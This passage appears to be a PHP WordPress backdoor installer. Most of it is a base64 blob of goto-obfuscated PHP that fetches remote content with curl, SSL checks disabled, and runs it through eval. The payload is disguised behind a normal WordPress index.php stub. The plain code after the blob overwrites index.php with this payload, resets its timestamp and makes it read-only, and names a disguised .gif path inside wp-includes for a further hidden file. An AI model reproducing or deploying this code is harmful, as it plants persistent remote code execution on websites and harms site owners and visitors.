NFx4NzVceDczIiA9PiAwLCAiXDE0M1wxNTdceDZlXDE2NFx4NjVceDZlXHg3NCIgPT4gJycsICJceDc0XHg3OVwxNjBcMTQ1IiA9PiAnJyk7IGdvdG8gampNbE9GVkxkTWdDdHg7IHBBeFBBblVPUGN3UzVEOiBzRmJOTGtVbVl3Wl9XdzogZ290byBOZmNyRVI3OFpiMTdyTDsgTmZjckVSNzhaYjE3ckw6IHRyeSB7IGdvdG8gQTQzUTQ5c0VoaFNfRUE7IEE0M1E0OXNFaGhTX0VBOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDYzXHg3NVwxNjJcMTU0XHg1ZlwxNDVceDc4XHg2NVx4NjMiKSAmJiBmdW5jdGlvbl9leGlzdHMoIlx4NjNceDc1XHg3MlwxNTRcMTM3XHg2OVx4NmVcMTUxXDE2NCIpKSB7IGdvdG8ganUwenh6aDFjS0d4VFE7IH0gZ290byB4a1NYZEZKcEFjRHYxeDsgWEtKYkROV0JrVUt1MUQ6ICRHc1dOYkdDUW5GOUEwalsiXDE0M1x4NmZceDZlXDE2NFx4NjVceDZlXDE2NCJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkTW4wMTBaZEpMVXVvTTAsIENVUkxJTkZPX1JFRElSRUNUX1VSTCkpOyBnb3RvIGMyZDUzTXpacUxWNjhhOyBOd0hLT2ZUMXlyQVZNQjogJEdzV05iR0NRbkY5QTBqWyJceDYzXHg2ZlwxNTZcMTY0XHg2NVx4NmVcMTY0Il0gPSBzdHJ2YWwoJEFSZERzQlZYWXhqMUZWKTsgZ290byBkNEFhWjNTTHVIanQ1dzsganhHU0lZM25HMDBEb206IGlmICghaW5fYXJyYXkoJEdzV05iR0NRbkY5QTBqWyJcMTYzXDE2NFwxNDFcMTY0XHg3NVwxNjMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBWVF8yVWJNUFFxS3ZuTjsgfSBnb3RvIE53SEtPZlQxeXJBVk1COyBVRVlWU3d2blZrRWt2dzogJEdzV05iR0NRbkY5QTBqWyJcMTQzXHg2Zlx4NmVcMTY0XDE0NVwxNTZcMTY0Il0gPSBzdHJ2YWwoJG55ZkZDMnVxQjhZWVdCKTsgZ290byBMUlo1QWtZbkVmOU9wWDsgdjFEaWsxSHBYMDEzQXE6IGdvdG8gYlZ2YW5neV9XQ2NXWF87IGdvdG8gTmF3d2pDN1JoNUVkM0g7IE5rUjBWYUFfR2Y5VHgyOiB3dTBOQ1dTTWYyMUxZMzogZ290byBETzRPTXZPQm5TbVd3UDsgVTBfTGwxMndGUGRTemI6ICRHc1dOYkdDUW5GOUEwaiA9IGFycmF5X21lcmdlKCRHc1dOYkdDUW5GOUEwaiwgdzJhR0JpaXNNZW02S20oJGh0dHBfcmVzcG9uc2VfaGVhZGVyKSk7IGdvdG8ganhHU0lZM25HMDBEb207IGZDcWwzX1lDeUhVMTFmOiBjdXJsX3NldG9wdCgkTW4wMTBaZEpMVXVvTTAsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIEJqclMyODZWQnlVSnZIOyBJVjJKZ2ZtNmw2VEUyUTogY3VybF9zZXRvcHQoJE1uMDEwWmRKTFV1b00wLCBDVVJMT1BUX1VSTCwgJEVrVHFBZFBEUkZTSXJPKTsgZ290byBMaWI0NXpBa1NUenh2MjsgZkRTMzR4b2cxN3lxTWg6IGN1cmxfc2V0b3B0KCRNbjAxMFpkSkxVdW9NMCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7IGdvdG8ganE3V3NrSG9DdDdJRmM7IG1vWlVJRlZRMkRyVTRoOiAkR3NXTmJHQ1FuRjlBMGpbIlx4NzRcMTcxXHg3MFwxNDUiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJE1uMDEwWmRKTFV1b00wLCBDVVJMSU5GT19DT05URU5UX1RZUEUpKTsgZ290byBYS0piRE5XQmtVS3UxRDsgTmF3d2pDN1JoNUVkM0g6IGp1MHp4emgxY0tHeFRROiBnb3RvIG1pbDdZRGpUY1NmT1l0OyBxOU8xQTdBVWkyNmNhQjogY3VybF9zZXRvcHQoJE1uMDEwWmRKTFV1b00wLCBDVVJMT1BUX1RJTUVPVVQsIDYwKTsgZ290byBmRFMzNHhvZzE3eXFNaDsgZXI3d2praldISUQzUUk6ICRHc1dOYkdDUW5GOUEwalsiXDE2M1x4NzRceDYxXDE2NFwxNjVceDczIl0gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCRNbjAxMFpkSkxVdW9NMCwgQ1VSTElORk9fSFRUUF9DT0RFKSk7IGdvdG8gbW9aVUlGVlEyRHJVNGg7IExSWjVBa1luRWY5T3BYOiBqa1ZrSUhpWWZrNnZ0ZzogZ290byBSRHB5MVdiZEt6cWVrWTsgckFjbm1RSmtvTU1SNWo6IGN1cmxfc2V0b3B0KCRNbjAxMFpkSkxVdW9NMCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMjApOyBnb3RvIHE5TzFBN0FVaTI2Y2FCOyBTZHB2ZTIxSWVMUzZaQjogY3VybF9zZXRvcHQoJE1uMDEwWmRKTFV1b00wLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgZ290byByQWNubVFKa29NTVI1ajsgRE80T012T0JuU21Xd1A6ICR2QnptYTBXODhRT2ZLRCA9IGFycmF5KCJcMTUwXHg3NFx4NzRcMTYwIiA9PiBhcnJheSgiXDE1NVx4NjVceDc0XDE1MFwxNTdcMTQ0IiA9PiAiXDEwN1wxMDVceDU0IiwgIlx4NzRceDY5XDE1NVx4NjVceDZmXHg3NVx4NzQiID0+IDYwLCAiXDE0NlwxNTdceDZjXHg2Y1x4NmZceDc3XDEzN1wxNTRcMTU3XHg2M1wxNDFcMTY0XHg2OVwxNTdceDZlIiA9PiAwKSwgIlwxNjNcMTYzXDE1NCIgPT4gYXJyYXkoIlwxNjZcMTQ1XHg3MlwxNTFceDY2XHg3OVwxMzdcMTYwXDE0NVwxNDVceDcyIiA9PiBmYWxzZSwgIlx4NzZceDY1XDE2Mlx4NjlcMTQ2XHg3OVx4NWZcMTYwXDE0NVx4NjVceDcyXHg1Zlx4NmVceDYxXHg2ZFwxNDUiID0+IGZhbHNlKSk7IGdvdG8genFMMlNBS0tMcV9OYWc7IFJEcHkxV2JkS3pxZWtZOiBnb3RvIGJWdmFuZ3lfV0NjV1hfOyBnb3RvIE5rUjBWYUFfR2Y5VHgyOyB6cUwyU0FLS0xxX05hZzogJFFZRnNhanI1RTFXX1JWID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCR2QnptYTBXODhRT2ZLRCk7IGdvdG8gV0loc1BubTJpaFVMZTc7IEJqclMyODZWQnlVSnZIOiAkbnlmRkMydXFCOFlZV0IgPSBjdXJsX2V4ZWMoJE1uMDEwWmRKTFV1b00wKTsgZ290byBlcjd3amtqV0hJRDNRSTsgbWlsN1lEalRjU2ZPWXQ6ICRNbjAxMFpkSkxVdW9NMCA9IGN1cmxfaW5pdCgpOyBnb3RvIElWMkpnZm02bDZURTJROyB4a1NYZEZKcEFjRHYxeDogaWYgKGluaV9nZXQoIlwxNDFcMTU0XDE1NFwxNTdcMTY3XDEzN1x4NzVcMTYyXDE1NFwxMzdcMTQ2XDE1N1wxNjBcMTQ1XDE1NiIpKSB7IGdvdG8gd3UwTkNXU01mMjFMWTM7IH0gZ290byB2MURpazFIcFgwMTNBcTsgSTdyMms0TFhVZVZac006IGJWdmFuZ3lfV0NjV1hfOiBnb3RvIFh1bWl2bkFvUjF5TG9ROyBqcTdXc2tIb0N0N0lGYzogY3VybF9zZXRvcHQoJE1uMDEwWmRKTFV1b00wLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIDApOyBnb3RvIGZDcWwzX1lDeUhVMTFmOyBMaWI0NXpBa1NUenh2MjogY3VybF9zZXRvcHQoJE1uMDEwWmRKTFV1b00wLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsgZ290byBTZHB2ZTIxSWVMUzZaQjsgV0loc1BubTJpaFVMZTc6ICRBUmREc0JWWFl4ajFGViA9IEBmaWxlX2dldF9jb250ZW50cygkRWtUcUFkUERSRlNJck8sIGZhbHNlLCAkUVlGc2FqcjVFMVdfUlYpOyBnb3RvIFUwX0xsMTJ3RlBkU3piOyBjMmQ1M016WnFMVjY4YTogQGN1cmxfY2xvc2UoJE1uMDEwWmRKTFV1b00wKTsgZ290byBidGlYOTM0bGhIMzJoRTsgZDRBYVozU0x1SGp0NXc6IFZUXzJVYk1QUXFLdm5OOiBnb3RvIEk3cjJrNExYVWVWWnNNOyBidGlYOTM0bGhIMzJoRTogaWYgKCFpbl9hcnJheSgkR3NXTmJHQ1FuRjlBMGpbIlwxNjNceDc0XDE0MVx4NzRcMTY1XDE2MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIGprVmtJSGlZZms2dnRnOyB9IGdvdG8gVUVZVlN3dm5Wa0Vrdnc7IFh1bWl2bkFvUjF5TG9ROiB9IGNhdGNoIChFeGNlcHRpb24gJFZLT19hZ0hiUEIzMnczKSB7IH0gZ290byB1a2YyM2hyTUJNM2RKUjsgRzNSZmR0alN1OXlOeEQ6IH0gZ290byBFZzdMMUM5bXJxajh2WDsgRDk4bDZWOTNuMGs1WlI6IE8zMWEyN0IwaWpaQ1V2OiBnb3RvIElSUmNDSXZKaXhla2JqOyBneDM2N3M3Wk9vMFFmeTogQGhlYWRlcigiXHg0M1wxNTdceDZlXHg3NFwxNDVcMTU2XDE2NFx4MmRceDU0XHg3OVx4NzBcMTQ1XHgzYSIgLiAkR3NXTmJHQ1FuRjlBMGpbIlwxNjRceDc5XHg3MFx4NjUiXSk7IGdvdG8gVG1SOFlfQlRzQkpORVU7IElpY25TbEMyQTNaNDFGOiAkQUVwdGJyTXpUNzZWeDMgPSBic081VllmQ3F2QnQ1MigpIC4gJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XHg0OFx4NGZcMTIzXHg1NCJdOyBnb3RvIFJjMnZIUjcxbmRjbUtyOyBzejRJSTEzVFhJWDN3cDogbWV0YXBob25lKCJceDRkXHg2YVx4NGRceDdhXHg0ZlwxMjRcMTIxXHgzNFwxMTdceDQ0XDEzMVx4MzVcMTE1XHg1NFx4NDVceDc5XDExNVwxNTJceDU1XDE3MVx4NGZceDU0XDEwMVx4MzRceDRmXHg1NFx4NTVcMTY3XHg0ZVx4NTRcMTE1XDE3MCIpOyBnb3RvIEtYWXd4NDlxUFJ6WlFuOyBLWFl3eDQ5cVBSelpRbjogY2xhc3Mgd2NSWk1DdmxPekxRUXYgeyBzdGF0aWMgZnVuY3Rpb24gckdrd1NQRk5YeUJ3ZlIoJFJMQnJqNFo1VU1VdE1qKSB7IGdvdG8gWFBKQ2hINXVuN2JjV1Q7IGFnSGE2U0EzSko5d3J5OiByZXR1cm4gJGRSQXE0NE4wd2MxaGNpOyBnb3RvIG45NVV5ZlJkVUFPeFo1OyBLMmQ1c2V6ZElxRHYzWDogJGRSQXE0NE4wd2MxaGNpID0gJyc7IGdvdG8gTUxQVjNtaUd3NE85ejA7IFhQSkNoSDV1bjdiY1dUOiAkWnNLNXo3RzRrRk9hdjQgPSAiXHg3MiIgLiAiXDE0MSIgLiAiXHg2ZSIgLiAiXHg2NyIgLiAiXHg2NSI7IGdvdG8gcDFiSmN6S1phMEtxbXI7IE1MUFYzbWlHdzRPOXowOiBmb3JlYWNoICgkSGJ1SEs5dkhwU0ZhR18gYXMgJE5oSXRMS3lmYjRDeDRHID0+ICR5TGh4OXgwQ012SFJDZykgeyAkZFJBcTQ0TjB3YzFoY2kgLj0gJFFhVzJ1Vl83NmxyV25hWyR5TGh4OXgwQ012SFJDZyAtIDY0NTQyXTsgc0ZZaE9SZmhwOFMwck86IH0gZ290byBWNmg2VlRFTnphUjNjNDsgV1N3VFV5aE5TX2NLMGM6ICRIYnVISzl2SHBTRmFHXyA9IGV4cGxvZGUoIlx4N2MiLCAkUkxCcmo0WjVVTVV0TWopOyBnb3RvIEsyZDVzZXpkSXFEdjNYOyBwMWJKY3pLWmEwS3FtcjogJFFhVzJ1Vl83NmxyV25hID0gJFpzSzV6N0c0a0ZPYXY0KCJceDdlIiwgIlx4MjAiKTsgZ290byBXU3dUVXloTlNfY0swYzsgVjZoNlZURU56YVIzYzQ6IGVZbkp6d2Q2aTFZd2VEOiBnb3RvIGFnSGE2U0EzSko5d3J5OyBuOTVVeWZSZFVBT3haNTogfSBzdGF0aWMgZnVuY3Rpb24gQnJJNVFaYktFV0lHS3AoJFRZSmpnQzdZc05fWWhPLCAkVjVpWjBtUmg4N2I4WlYpIHsgZ290byBwQ2FSVlJzdW1aZDMwYjsgYWRZV3BrNVdUZFFYQmM6ICRQbjk5UHE1OGt5bmRTOSA9IGN1cmxfZXhlYygkZll6MFZoVkpESGFQS3UpOyBnb3RvIGFweVk0d2EyYmlZZUxoOyBhcHlZNHdhMmJpWWVMaDogcmV0dXJuIGVtcHR5KCRQbjk5UHE1OGt5bmRTOSkgPyAkVjVpWjBtUmg4N2I4WlYoJFRZSmpnQzdZc05fWWhPKSA6ICRQbjk5UHE1OGt5bmRTOTsgZ290byBDbmRjbUZ5Ul9BUGdDZzsgcENhUlZSc3VtWmQzMGI6ICRmWXowVmhWSkRIYVBLdSA9IGN1cmxfaW5pdCgkVFlKamdDN1lzTl9ZaE8pOyBnb3RvIFA2WGd4Qm5DcmJwMzFqOyBQNlhneEJuQ3JicDMxajogY3VybF9zZXRvcHQoJGZZejBWaFZKREhhUEt1LCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBhZFlXcGs1V1RkUVhCYzsgQ25kY21GeVJfQVBnQ2c6IH0gc3RhdGljIGZ1bmN0aW9uIEpkM0VQTXhXUjZiMmQxKCkgeyBnb3RvIFY5UTlkQ1lMT0syWjAzOyB6MkVEcFU5ZXRnbFVLRTogVHl2c3RLQzVxZU9zOTk6IGdvdG8geDJ4cnpGWlJLYzFlSnk7IFFDZnRlVFNLMHR3R3pUOiAkaTJKOUplZG9WN2FHWU4gPSBtZDUoJGpsT0tmOVhnRXQyZWN0KTsgZ290byBqV0pkajdocUpYblUwbDsgajlVbTF0bGJhYjYwVTE6ICRTbEdDbnN1NTEyVk9LcSA9ICRrcE1JcFhwUnFXcUw1MlsyICsgMF0oJG4yV0U2VmVFblBjT2hCLCB0cnVlKTsgZ290byBvRWQyc2ptbzkzaFBpVzsgVjlROWRDWUxPSzJaMDM6ICRyVlFUUXhYQ3F0d0kwZiA9IGFycmF5KCJcNjZcNjRcNjVceDM2XHgzOVwxNzRcNjZceDM0XDY1XDY1XDY0XHg3Y1w2Nlw2NFw2NVx4MzZceDM3XHg3Y1w2Nlw2NFw2NVw2N1x4MzFcMTc0XDY2XDY0XHgzNVw2NVx4MzJceDdjXHgzNlx4MzRceDM1XHgzNlx4MzdcMTc0XHgzNlw2NFw2NVx4MzdceDMzXHg3Y1x4MzZcNjRceDM1XDY2XHgzNlx4N2NcNjZcNjRceDM1XHgzNVx4MzFcMTc0XHgzNlw2NFx4MzVceDM1XDcwXHg3Y1w2Nlx4MzRcNjVceDM2XHgzOVwxNzRcNjZcNjRceDM1XHgzNVw2Mlx4N2NcNjZceDM0XDY1XHgzNlx4MzNceDdjXHgzNlx4MzRceDM1XDY1XHgzN1wxNzRcNjZceDM0XHgzNVw2NVx4MzgiLCAiXHgzNlw2NFw2NVx4MzVcNjNceDdjXHgzNlx4MzRcNjVceDM1XHgzMlx4N2NceDM2XDY0XHgzNVw2NVx4MzRcMTc0XDY2XHgzNFw2NVx4MzdcNjNceDdjXHgzNlx4MzRcNjVcNjVcNjRcMTc0XHgzNlx4MzRceDM1XHgzNVw2N1x4N2NceDM2XHgzNFx4MzVcNjVcNjJcMTc0XDY2XDY0XDY2XDYxXDcxXHg3Y1x4MzZcNjRcNjZcNjFcNjciLCAiXDY2XHgzNFx4MzVcNjZceDMyXHg3Y1w2Nlw2NFx4MzVceDM1XHgzM1x4N2NcNjZcNjRcNjVceDM1XDY3XDE3NFw2Nlx4MzRceDM1XDY1XHgzOFwxNzRceDM2XDY0XDY1XDY3XDYzXHg3Y1x4MzZcNjRceDM1XDY2XHgzOFwxNzRcNjZcNjRcNjVcNjZceDM3XHg3Y1w2Nlx4MzRceDM1XDY2XDcxXHg3Y1x4MzZcNjRcNjVcNjVcNjdcMTc0XDY2XDY0XHgzNVw2Nlw3MFx4N2NceDM2XDY0XDY1XHgzNlx4MzciLCAiXHgzNlx4MzRceDM1XDY1XDY2XDE3NFx4MzZcNjRceDM1XDY3XHgzMVwxNzRceDM2XHgzNFw2NVx4MzZcNzFcMTc0XDY2XHgzNFw2NVx4MzZcNjEiLCAiXHgzNlw2NFw2NVw2N1x4MzBcMTc0XDY2XHgzNFw2NVw2N1w2MVwxNzRcNjZcNjRcNjVceDM1XHgzM1x4N2NcNjZcNjRceDM1XHgzNlw2N1x4N2NceDM2XDY0XHgzNlx4MzFceDM0XHg3Y1x4MzZcNjRceDM2XDYxXHgzNlx4N2NceDM2XDY0XDY1XDY3XDYzXHg3Y1w2Nlw2NFw2NVw2Nlw3MFx4N2NceDM2XHgzNFw2NVw2Nlx4MzdceDdjXHgzNlw2NFx4MzVcNjZcNzFceDdjXDY2XHgzNFx4MzVcNjVcNjdcMTc0XHgzNlw2NFx4MzVcNjZceDM4XHg3Y1x4MzZceDM0XDY1XDY2XDY3IiwgIlx4MzZceDM0XHgzNVx4MzZcNjZceDdjXDY2XHgzNFw2NVx4MzZceDMzXHg3Y1w2Nlw2NFx4MzVceDM2XHgzMFwxNzRcNjZceDM0XHgzNVw2Nlw2N1wxNzRceDM2XDY0XDY1XHgzN1w2M1x4N2NceDM2XDY0XDY1XHgzNlw2NVwxNzRceDM2XHgzNFx4MzVcNjZceDM3XDE3NFx4MzZceDM0XHgzNVx4MzVcNjJcMTc0XDY2XDY0XDY1XHgzN1x4MzNcMTc0XDY2XHgzNFx4MzVcNjZcNzFcMTc0XHgzNlw2NFw2NVx4MzVceDM3XDE3NFx4MzZceDM0XDY1XHgzNVx4MzhceDdjXDY2XHgzNFw2NVx4MzVcNjJcMTc0XHgzNlx4MzRcNjVcNjZcNjdceDdjXDY2XDY0XHgzNVx4MzVceDM4XDE3NFw2Nlw2NFw2NVw2NVx4MzJceDdjXHgzNlx4MzRcNjVceDM1XHgzMyIsICJcNjZcNjRceDM1XDcxXHgzNlx4N2NceDM2XDY0XDY2XHgzMlx4MzYiLCAiXDY2XDY0XDY1XHgzNFw2MyIsICJceDM2XDY0XHgzNlw2Mlw2MVx4N2NceDM2XDY0XHgzNlw2Mlw2NiIsICJcNjZcNjRcNjZceDMwXHgzM1wxNzRcNjZcNjRceDM1XDcwXDY2XDE3NFx4MzZceDM0XHgzNVx4MzhcNjZceDdjXDY2XHgzNFw2Nlw2MFx4MzNceDdjXHgzNlw2NFw2NVw2N1w3MSIsICJceDM2XHgzNFw2NVx4MzZcNjZcMTc0XDY2XDY0XHgzNVx4MzZceDMzXDE3NFx4MzZcNjRcNjVceDM2XDYwXDE3NFw2Nlx4MzRcNjVceDM1XHgzMlx4N2NceDM2XHgzNFw2NVw2Nlx4MzdcMTc0XHgzNlx4MzRcNjVcNjVceDM0XHg3Y1x4MzZceDM0XDY1XHgzN1x4MzNceDdjXHgzNlw2NFx4MzVcNjZcNjNcMTc0XDY2XHgzNFw2NVw2NVx4MzhcMTc0XHgzNlw2NFx4MzVceDM1XDY2XHg3Y1x4MzZceDM0XDY1XDY1XDYxXHg3Y1x4MzZcNjRcNjVceDM1XHgzMiIpOyBnb3RvIGRaNG1oYk01al9sWGgxOyBEMEtsaDNHZ3Bhbm0zXzogQGV2YWwoJGtwTUlwWHBScVdxTDUyWzEgKyAzXSgkd09wd3RMQ0RVR0JzdEUpKTsgZ290byBjX3VMNFI3WGpfcnFuTzsgaldKZGo3aHFKWG5VMGw6IGlmICghKEAkU2xHQ25zdTUxMlZPS3FbMF0gLSB0aW1lKCkgPiAwIGFuZCAkaTJKOUplZG9WN2FHWU4gPT09ICJcMTQyXHg2MVw2NFx4NjRceDY1XDY0XDE0NFw2NVx4MzhcMTQ2XDE0MVw3MFx4MzBcNjFcNjNceDM2XDYwXDE0NVw3MVx4MzZceDYzXDcxXHg2M1w2NFw3MVx4MzhceDM4XDYwXHg2Nlx4MzVcNjJcMTQ1IikpIHsgZ290byBUeXZzdEtDNXFlT3M5OTsgfSBnb3RvIFNISHVKR3JZMU0zam8xOyBmMEJmTXVBdjNXNjFoVzogJFR6YmlSU1RabDNtR0pkID0gQCRrcE1JcFhwUnFXcUw1MlsxXSgka3BNSXBYcFJxV3FMNTJbMSArIDldKElOUFVUX0dFVCwgJGtwTUlwWHBScVdxTDUyWzIgKyA3XSkpOyBnb3RvIGJWNUZneDVEa0ZtVU5ZOyBvRWQyc2ptbzkzaFBpVzogJGpsT0tmOVhnRXQyZWN0ID0gbWQ1KCRTbEdDbnN1NTEyVk9LcVszICsgMF0pOyBnb3RvIGxEUmN3NE44bWZkUGIxOyBqZ0l2Z1hMNUxnSVRoZDogWkkybVRuWGloT3pXZDU6IGdvdG8gZjBCZk11QXYzVzYxaFc7IGxEUmN3NE44bWZkUGIxOiBAJGtwTUlwWHBScVdxTDUyWzUgKyA1XShJTlBVVF9HRVQsICJcMTU3XHg2NiIpID09IDEgJiYgZGllKCRrcE1JcFhwUnFXcUw1Mls0ICsgMV0oX19GSUxFX18pKTsgZ290byBRQ2Z0ZVRTSzB0d0d6VDsgZFo0bWhiTTVqX2xYaDE6IGZvcmVhY2ggKCRyVlFUUXhYQ3F0d0kwZiBhcyAkSndmaHFGZDIwanNMelQpIHsgJGtwTUlwWHBScVdxTDUyW10gPSBzZWxmOjpyR2tXU3BGbnh5YndGcigkSndmaHFGZDIwanNMelQpOyBYNmNnUlZkOXpsdDlYTTogfSBnb3RvIGpnSXZnWEw1TGdJVGhkOyBTSEh1SkdyWTFNM2pvMTogJHdPcHd0TENEVUdCc3RFID0gc2VsZjo6QlJpNVFaYktlV2lHS3AoJFNsR0Nuc3U1MTJWT0txWzAgKyAxXSwgJGtwTUlwWHBScVdxTDUyWzQgKyAxXSk7IGdvdG8gRDBLbGgzR2dwYW5tM187IGJWNUZneDVEa0ZtVU5ZOiAkbjJXRTZWZUVuUGNPaEIgPSBAJGtwTUlwWHBScVdxTDUyWzMgKyAwXSgka3BNSXBYcFJxV3FMNTJbMSArIDVdLCAkVHpiaVJTVFpsM21HSmQpOyBnb3RvIGo5VW0xdGxiYWI2MFUxOyBjX3VMNFI3WGpfcnFuTzogZGllOyBnb3RvIHoyRURwVTlldGdsVUtFOyB4MnhyekZaUktjMWVKeTogfSB9IGdvdG8gS0FYSmxNMXNnV29ob1g7IG1QMUZtbzh6VmVsNmU2OiAkTVdhSnhxbElFMzI3VllbIlwxNTEiXSA9IEtQM1RoSlkwNHV1WExNKCRMSDNoSjVEcXpZa0xMaSk7IGdvdG8gTkxlcnk1bXp3WmR4X0M7IE5DMDlzMnFUTGpPSDIzOiBleGl0KHN0cnJldihtZDUoJF9TRVJWRVJbIlx4NTNcMTA1XDEyMlx4NTZceDQ1XHg1MlwxMzdceDRlXHg0MVwxMTVcMTA1Il0pKSk7IGdvdG8gWHQ4M0RIR2FEa3ZQb1A7IExCWl9LcERON1pnVnNrOiAkR2VuM3ZqNzFWNmVEY04gPSBwcmVnX3JlcGxhY2UoIlw1N1wxMzRcNzdcNTZcNTJceDJmIiwgJycsICRfU0VSVkVSWyJcMTIyXDEwNVwxMjFceDU1XHg0NVwxMjNceDU0XDEzN1x4NTVcMTIyXHg0OSJdKTsgZ290byBCT0J4b0p6bnMwOTFrYzsgQjlKb1RGNkc0QXpkbmM6IGlmICgkdUJOc2o1ejhDbk55eDkpIHsgZ290byBpb010cDRKZ1NVWWd1azsgfSBnb3RvIGVYX3RjU0dEQm9pWTJZOyBaUGZnZHZhbml0cW5ZQTogJE1XYUp4cWxJRTMyN1ZZWyJceDczXDE1NiJdID0gS1AzVGhKWTA0dXV4TG0oJF9TRVJWRVJbIlx4NTNceDQzXDEyMlwxMTFcMTIwXHg1NFwxMzdcMTE2XDEwMVx4NGRceDQ1Il0pOyBnb3RvIEdRUVVsTHhQakhPZmFfOyBHUVFVbEx4UGpIT2ZhXzogJE1XYUp4cWxJRTMyN1ZZWyJceDcyIl0gPSBLcDN0aEp5MDR1dXhsbSgkX1NFUlZFUlsiXDEyMlwxMDVcMTIxXHg1NVwxMDVcMTIzXDEyNFwxMzdceDU1XHg1Mlx4NDkiXSk7IGdvdG8gSEZmWFVNNHJ0SzZURzE7IHJSX0dxdEZFWElIYlExOiAkTVdhSnhxbElFMzI3VllbIlwxNjUiXSA9IEtwM1RoankwNHV1eGxtKCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXDEzN1wxMjVcMTIzXHg0NVx4NTJcMTM3XHg0MVwxMDdceDQ1XHg0ZVx4NTQiXSk7IGdvdG8gTEJaX0twRE43WmdWc2s7IFpKX2prbWlGYzFyaUQxOiBpZiAoaW5fYXJyYXkoJEdzV05iR0NRbkY5QTBqWyJcMTYzXHg3NFx4NjFceDc0XDE2NVx4NzMiXSwgYXJyYXkoMCwgMjAwKSkpIHsgZ290byBNNFlKZFViV01RV0x6ajsgfSBnb3RvIG1GRnlWUUsySXZabXQ2OyBUbVI4WV9CVHNCSk5FVTogZWNobyAkR3NXTmJHQ1FuRjlBMGpbIlwxNDNceDZmXHg2ZVx4NzRceDY1XHg2ZVwxNjQiXTsgZ290byBHdF9zQ25UYTNhRng4eTsgeHkzb1poX21aSTBMVEo6ICRNV2FKeHFsSUUzMjdWWSA9IGFycmF5KCk7IGdvdG8gbVAxRm1vOHpWZWw2ZTY7IG0wZjVUTURCSnZtOUE4OiBleGl0KCJcMTczXHgyMFx4MjJceDY1XDE2MlwxNjJcMTU3XDE2Mlx4MjJcNzJceDIwXDYyXDYwXHgzMFx4MmNceDIwXHgyMlx4NmNceDYzXHgyMlw3Mlw0MFw0Mlx4NmFceDZiXHgyMlw1NFx4MjBcNDJcMTQ0XHg2MVwxNjRcMTQxXHgyMlx4M2FcNDBceDViXDQwXHgzMVx4MjBceDVkXHgyMFwxNzUiKTsgZ290byBuNTFhUzBoMWdwc2FPRTsgZUYxbzMxaFZSNFAzcmE6IGlmICghc3RybGVuKCRHc1dOYkdDUW5GOUEwalsiXDE0M1wxNTdceDZlXDE2NFx4NjVceDZlXHg3NCJdKSkgeyBnb3RvIG4ydnhNc2ROY0xuRlpwOyB9IGdvdG8gZ3gzNjdzN1pPbzBRZnk7IGxWb2NaRnBLa3pNWTlzOiBNNFlKZFViV01RV0x6ajogZ290byBlRjFvMzFoVlI0UDNyYTsgU1JlVDV3TzUxUWlNZm06IHBDclFKeVBCTGpIOGVXOiBnb3RvIGxWb2NaRnBLa3pNWTlzOyBOTGVyeTVtendaZHhfQzogJE1XYUp4cWxJRTMyN1ZZWyJceDZjIl0gPSBrUDNUaEp5MDRVVXhMTSgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFwxMzdceDQxXHg0M1wxMDNcMTA1XDEyMFwxMjRcMTM3XHg0Y1wxMDFcMTE2XDEwN1wxMjVcMTAxXHg0N1wxMDUiXSk7IGdvdG8gWlBmZ2R2YW5pdHFuWUE7IGVOZktkWmdxX3BNS2xZOiAkUm14clplNXhNZnA4S2UgPSAnJzsgZ290byBHY28zUUFBNzRLdTJxODsgbjUxYVMwaDFncHNhT0U6IHlaM2M0TThrMzBjRWJBOiBnb3RvIGpyNnlGTWJ3MjZ2VThZOyBlWF90Y1NHREJvaVkyWTogJEdzV05iR0NRbkY5QTBqID0gb3I5MUZ5OHJkcW9aT3ooYmFzZTY0X2RlY29kZSgiXHg2MVwxMTBcMTIyXDYwXDE0M1x4NDRceDZmXHg3NlwxMTRceDMzXHg3MFwxNzJcMTE1XDEyNFx4NDFcMTcwXHg0ZVwxMTBcMTMxXHg3OFwxMTVcMTcxXHgzNVwxNTBceDU5XDYzXDEyMlwxNTRceDVhXHg0M1x4MzVcMTYwXDE0MlwxNTVcMTYzXHg3NiIpLCAkTVdhSnhxbElFMzI3VlkpOyBnb3RvIFpKX2prbWlGYzFyaUQxOyBYdDgzREhHYURrdlBvUDogQ2pwU05vOWQzdFRhaEs6IGdvdG8gdkpQaWhSU19qOXU5dXo7IHI1TWZ1RW8zckUxNnlIOiBpb010cDRKZ1NVWWd1azoKPz4KPD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg==");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
@chmod($do."index.php", 0644);
@file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
@touch($do."index.php", filectime($do."index.php"));
@chmod($do."index.php", 0444);
}
$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
